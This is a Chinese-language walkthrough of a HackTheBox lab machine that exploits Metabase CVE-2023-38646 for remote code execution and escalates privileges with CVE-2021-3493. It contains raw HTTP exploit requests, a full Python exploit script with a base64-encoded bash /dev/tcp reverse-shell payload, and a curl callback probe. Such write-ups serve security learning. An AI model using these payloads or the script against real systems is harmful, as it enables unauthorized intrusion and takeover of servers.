信息搜集
  • 端口扫描
1
sudo nmap -sV -sC -Pn 10.129.49.233

image-20231009103121014

  • 修改/etc/hosts文件,访问80端口。点击login发现子域名,修改hosts文件

    image-20231009103235685

  • 访问data.analytical.htb,发现系统位Metabase。网上搜索相关漏洞

    1
    2
    #最新漏洞
    Metabase未授权JDBC远程代码执行漏洞(CVE-2023-38646)
漏洞利用
  • 获取setup-token

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    GET /api/session/properties HTTP/1.1
    Host: data.analytical.htb
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: metabase.DEVICE=4e65217f-acee-439c-b55d-b60cf2fa539e
    Upgrade-Insecure-Requests: 1
    If-Modified-Since: Mon, 9 Oct 2023 02:32:42 GMT

    image-20231009141419632

  • 发送漏洞利用数据包(这里利用本地python的web服务来探测漏洞是否存在)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    POST /api/setup/validate HTTP/1.1
    Host: data.analytical.htb
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en-US;q=0.9,en;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36
    Connection: close
    Cache-Control: max-age=0
    Content-Type: application/json
    Content-Length: 743

    {

    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",

    "details":

    {

    "is_on_demand": false,

    "is_full_sync": false,

    "is_sample": false,

    "cache_ttl": null,

    "refingerprint": false,

    "auto_run_queries": true,

    "schedules":

    {},

    "details":

    {

    "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",

    "advanced-options": false,

    "ssl": true,

    "init": "CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\u000A\u0009java.lang.Runtime.getRuntime().exec('curl http://10.10.14.6')\u000A$$"

    },

    "name": "an-sec-research-team",

    "engine": "h2"

    }

    }

image-20231009141303050

  • 利用python脚本反弹shell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    import requests
    import argparse
    import base64
    import json
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    from urllib.parse import urlparse

    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

    def get_setup_token_and_version(ip_address):
    endpoint = "/api/session/properties"
    url = f"{ip_address}{endpoint}"
    try:
    print(f"[DEBUG] Fetching setup token from {url}...")
    response = requests.get(url, verify=False)
    if response.status_code == 200:
    data = response.json()
    setup_token = data.get("setup-token")
    metabase_version = data.get("version", {}).get("tag")

    if setup_token is None:
    print(f"[DEBUG] Setup token not found or is null for IP: {ip_address}\n")
    else:
    print(f"[DEBUG] Setup Token: {setup_token}")
    print(f"[DEBUG] Version: {metabase_version}")

    return setup_token
    except requests.exceptions.RequestException as e:
    print(f"[DEBUG] Exception occurred: {e}")
    print(f"[DEBUG] Failed to connect to {ip_address}.\n")

    def post_setup_validate(ip_address, setup_token, listener_ip, listener_port):
    payload = base64.b64encode(f"bash -i >&/dev/tcp/{listener_ip}/{listener_port} 0>&1".encode()).decode()

    print(f"[DEBUG] Payload = {payload}")

    endpoint = "/api/setup/validate"
    url = f"{ip_address}{endpoint}"
    headers = {'Content-Type': 'application/json'}
    data = {
    "token": setup_token,
    "details": {
    "is_on_demand": False,
    "is_full_sync": False,
    "is_sample": False,
    "cache_ttl": None,
    "refingerprint": False,
    "auto_run_queries": True,
    "schedules": {},
    "details": {
    "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {{echo,{payload}}}|{{base64,-d}}|{{bash,-i}}')\n$$--=x",
    "advanced-options": False,
    "ssl": True
    },
    "name": "test",
    "engine": "h2"
    }
    }

    print(f"[DEBUG] Sending request to {url} with headers {headers} and data {json.dumps(data, indent=4)}")

    try:
    response = requests.post(url, headers=headers, json=data, verify=False)
    print(f"[DEBUG] Response received: {response.text}")
    if response.status_code == 200:
    print(f"[DEBUG] POST to {url} successful.\n")
    else:
    print(f"[DEBUG] POST to {url} failed with status code: {response.status_code}\n")
    except requests.exceptions.RequestException as e:
    print(f"[DEBUG] Exception occurred: {e}")
    print(f"[DEBUG] Failed to connect to {url}\n")

    def preprocess_url(user_input):
    parsed_url = urlparse(user_input)
    protocol = f"{parsed_url.scheme}://" if parsed_url.scheme else "http://"
    netloc = parsed_url.netloc or parsed_url.path
    return protocol + netloc.rstrip('/')

    if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Check setup token')
    parser.add_argument('--rhost', type=str, help='Metabase server IP address (including http:// or https:// and port number if needed)')
    parser.add_argument('--lhost', type=str, help='Listener IP address')
    parser.add_argument('--lport', type=int, default=4444, help='Listener port (default is 4444)')
    args = parser.parse_args()

    print(f"[DEBUG] Original rhost: {args.rhost}")
    args.rhost = preprocess_url(args.rhost)
    print(f"[DEBUG] Preprocessed rhost: {args.rhost}")

    print(f"[DEBUG] Input Arguments - rhost: {args.rhost}, lhost: {args.lhost}, lport: {args.lport}")

    setup_token = get_setup_token_and_version(args.rhost)
    print(f"[DEBUG] Setup token: {setup_token}")
    if setup_token:
    post_setup_validate(args.rhost, setup_token, args.lhost, args.lport)

    image-20231009142722336

  • 查看文件,发现.dockerenv文件。可能是docker环境,使用env查看

    image-20231009154513176

    image-20231009154444468

  • 前面信息搜集时,22端口是开放的。尝试使用ssh登录metalytics用户

    image-20231009154742391

提权
  • 使用CVE-2021-3493提权成功

    1
    2
    3
    4
    5
    #下载地址
    https://github.com/briskets/CVE-2021-3493
    #编译
    gcc exploit.c -o exploit
    #上传到靶机,给予执行权限

    image-20231009164211662